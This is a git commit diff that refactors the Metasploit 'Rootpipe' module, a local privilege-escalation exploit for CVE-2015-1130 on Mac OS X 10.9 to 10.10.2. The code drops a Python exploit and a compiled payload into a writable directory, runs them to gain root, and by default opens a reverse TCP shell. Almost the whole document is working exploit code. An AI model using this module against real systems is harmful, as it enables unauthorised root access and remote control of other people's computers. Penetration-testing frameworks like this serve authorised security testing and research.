Refactor and clean

Finally breaking free of some stubborn old habits. :)

Author: wvu

modules/exploits/osx/local/rootpipe.rb

@@ -9,86 +9,96 @@ class Metasploit4 < Msf::Exploit::Local
 
   Rank = GreatRanking
 
-  include Msf::Post::File
+  include Msf::Post::OSX::System
   include Msf::Exploit::EXE
   include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
-      'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
-      'Description' => %q{
+      'Name'           => 'Mac OS X "Rootpipe" Privilege Escalation',
+      'Description'    => %q{
         This module exploits a hidden backdoor API in Apple's Admin framework on
-        OS X to escalate privileges to root. Dubbed "Rootpipe."
+        Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
 
         Tested on Yosemite 10.10.2 and should work on previous versions.
 
         The patch for this issue was not backported to older releases.
       },
-      'Author' => [
+      'Author'         => [
         'Emil Kvarnhammar', # Vulnerability discovery and PoC
-        'joev', # Copy/paste monkey
-        'wvu' # Meta copy/paste monkey
+        'joev',             # Copy/paste monkey
+        'wvu'               # Meta copy/paste monkey
       ],
-      'References' => [
-        ['CVE', '2015-1130'],
-        ['EDB', '36692'],
-        ['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
+      'References'     => [
+        ['CVE',   '2015-1130'],
+        ['OSVDB', '114114'],
+        ['EDB',   '36692'],
+        ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
       ],
       'DisclosureDate' => 'Apr 9 2015',
-      'License' => MSF_LICENSE,
-      'Platform' => 'osx',
-      'Arch' => ARCH_X86_64,
-      'SessionTypes' => ['shell', 'meterpreter'],
-      'Targets' => [
-        ['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
+      'License'        => MSF_LICENSE,
+      'Platform'       => 'osx',
+      'Arch'           => ARCH_X86_64,
+      'SessionTypes'   => ['shell'],
+      'Targets'        => [
+        ['Mac OS X 10.9-10.10.2', {}]
       ],
-      'DefaultTarget' => 0,
+      'DefaultTarget'  => 0,
       'DefaultOptions' => {
         'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
-        'CMD' => '/bin/zsh'
+        'CMD'     => '/bin/zsh'
       }
     ))
 
     register_options([
-      OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
-      OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
+      OptString.new('PYTHON',      [true, 'Python executable', '/usr/bin/python']),
+      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
     ])
   end
 
   def check
-    if ver_between(osx_ver, '10.9', '10.10.2')
-      Exploit::CheckCode::Vulnerable
-    else
-      Exploit::CheckCode::Safe
-    end
+    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
+      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
+    ) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
   end
 
   def exploit
-    exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
-    python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
-    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
-    exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
-    payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
-
-    print_status("Writing exploit file as '#{exploit_file}'")
+    print_status("Writing exploit to `#{exploit_file}'")
     write_file(exploit_file, python_exploit)
     register_file_for_cleanup(exploit_file)
 
-    print_status("Writing payload file as '#{payload_file}'")
+    print_status("Writing payload to `#{payload_file}'")
     write_file(payload_file, binary_payload)
     register_file_for_cleanup(payload_file)
 
+    print_status('Executing exploit...')
+    cmd_exec(sploit)
     print_status('Executing payload...')
-    cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
     cmd_exec(payload_file)
   end
 
-  def osx_ver
-    cmd_exec('sw_vers -productVersion').to_s.strip
+  def sploit
+    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
+  end
+
+  def python_exploit
+    File.read(File.join(
+      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
+    ))
+  end
+
+  def binary_payload
+    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
+  end
+
+  def exploit_file
+    @exploit_file ||=
+      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
   end
 
-  def ver_between(a, b, c)
-    Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
+  def payload_file
+    @payload_file ||=
+      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
   end
 
 end